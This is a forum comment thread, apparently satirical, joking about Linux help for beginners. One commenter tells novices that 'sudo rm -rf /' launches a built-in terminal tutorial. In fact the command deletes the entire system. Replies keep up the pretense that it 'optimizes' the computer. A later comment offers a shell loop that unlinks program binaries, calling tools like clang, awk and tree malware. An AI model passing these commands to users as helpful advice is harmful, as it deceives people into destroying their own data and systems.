I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that

It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

It optomizes your computer too? Woa

[–] Rabbithole@kbin.social 0 points 1 year ago (1 children)

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <

Lol, I know what you mean.

Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.
